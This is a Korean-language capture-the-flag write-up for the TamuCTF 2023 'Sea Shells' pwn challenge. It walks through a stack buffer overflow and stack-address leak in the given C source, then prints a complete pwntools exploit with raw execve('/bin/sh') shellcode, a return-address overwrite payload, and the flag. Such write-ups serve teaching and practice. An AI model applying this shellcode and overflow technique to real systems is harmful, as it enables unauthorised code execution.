Tamu CTF 2023 - Sea Shells (pwn, shellcode)

Sally sold some seashells by the seashore. Try to guess how many she sold, I bet you will never be able to!
Author: _mac_

  • [74 solves / 447 points]

Analysis

바이너리와 소스코드가 제공된다.

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

NX disabled이기 때문에 shellcode 실행이 가능하다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <stdlib.h>

int check(unsigned long n, unsigned long sold) {
if ((n & 0xffff) == (sold & 0xffff)) {
return 1;
}
return 0;
}

void vuln() {
unsigned long num_sold;
char resp;
unsigned long a;
unsigned long b;
unsigned long c;
unsigned long d;

num_sold = rand();

printf("It's not that easy though, enter 4 numbers to use to guess!\n");

do {
// ask user for input
printf("1st number: ");
scanf("%lu", &a);
printf("2nd number: ");
scanf("%lu", &b);
printf("3rd number: ");
scanf("%lu", &c);
printf("4th number: ");
scanf("%lu", &d);

// perform some calculations on the numbers
d = d + c;
c = c ^ b;
b = b - a;

if (check(d, num_sold)) {
printf("Woohoo! That's exactly how many she sold!\n");
printf("Here's a little something Sally wants to give you for your hard work: %lx\n", &d);
} else {
printf("Sorry, that's not quite right :(\n");
}

// go again?
printf("Would you like to guess again? (y/n) ");
scanf("%s", &resp);

} while (resp == 'Y' || resp == 'y');

return;
}

void welcome() {
printf("Sally sold some sea SHELLS!\n");
printf("Try to guess exactly how many she sold, I bet you can't!!\n");
}

int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
welcome();
vuln();

printf("'bye now'\n-Sally\n");
return 0;
}

아래에서 bof가 발생한다. 왜냐면 %s로 입력받기 때문.

1
2
printf("Would you like to guess again? (y/n) ");
scanf("%s", &resp);

그 전에 check(d, num_sold)을 통과하면 d 변수의 주소를 알려준다. 이 주소는 스택 주소이기 때문에 쓸데가 많다. check(d, num_sold)을 통과하기 위해 num_sold = rand();을 예상해야 하는데, 이는 seed가 없기 때문에 항상 일정하다. 처음에 2바이트 브루트포싱을 이용하여 값을 예측하려고 했으나, 계속 실행하고 테스트하다 보니 0x4500으로 일정한 것을 확인했고, 서버도 동일했다.

Solve

rbp+8ret이다. 우리는 현재 shellcode를 실행시킬 수 있다. ret 뒤에 shellcode를 위치시켜주자. shellcode가 저장된 주소를 ret에 넣어주자. 우리는 스택 주소를 알고 있기 때문에 가능하다.

참고로 shellcode를 실행시킬 때 스택이 모자랄 수도 있기 때문에 sub rsp, 0x100 이 어셈도 같이 실행시켰다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
import struct

context.arch = 'amd64'
# context.log_level = 'DEBUG'

p = remote("tamuctf.com", 443, ssl=True, sni="sea-shells")
# p = process('./sea-shells')
e = ELF('./sea-shells')

for i in range(0x7fff):
i = 0x4500
p.sendlineafter(':', '2')
p.sendlineafter(':', '1')
p.sendlineafter(':', '0')
# info(hex(i))
p.sendlineafter(':', str(i))

result = p.recvline()
if b'Woohoo' in result:
info(hex(i))
break
else:
p.sendline('y')
continue

pause()
p.recvuntil('work: ')
leak = int(p.recvline(), 16)
info(hex(leak))

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05".ljust(32, b'\x00')
# shellcode = asm(shellcraft.sh()).ljust(32, b'\0')

values = struct.unpack('4Q', shellcode)
print(values)

p.sendline('y')

pause()
p.sendlineafter(':', str(values[3])) # 1
p.sendlineafter(':', str(values[2])) # 2
p.sendlineafter(':', str(values[1])) # 3
p.sendlineafter(':', str(values[0])) # 4

payload = b''
payload += b'A' * (0x9 + 0x8)
payload += p64(leak + 0x40)
payload += asm('sub rsp, 0x100\n' + shellcraft.sh())
# pause()
p.sendline(payload)

p.interactive()

Flag

1
gigem{cr34t1v3_5h3llc0d3_ftw}